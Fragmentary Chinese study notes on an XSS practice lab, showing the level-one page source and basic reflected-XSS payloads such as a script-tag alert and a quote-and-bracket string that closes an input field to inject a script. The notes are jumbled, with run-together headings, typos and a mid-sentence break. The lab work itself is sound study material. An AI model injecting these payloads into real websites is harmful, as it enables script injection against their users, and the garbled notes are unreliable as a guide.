xss
level1
代码
xsslevel1代码2第1中方法反射性第二种script标签level 3level4lelvel5scripta标签level6a链接">xss</alevle7lelve8level9level10
<!DOCTYPE html> <!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level2.php?keyword=test"; } </script> <title>欢迎来到level1</title> </head> <body> <h1 align=center>欢迎来到level1</h1> <h2 align=center>欢迎用户</h2><center><img src=level1.png></center> <h3 align=center>payload的长度:0</h3></body> </html>
<script>alert(/xss/)</script>
2
第1中方法反射性
">xss
第二种script标签
"><script>alert('yes')</script>让input框闭合然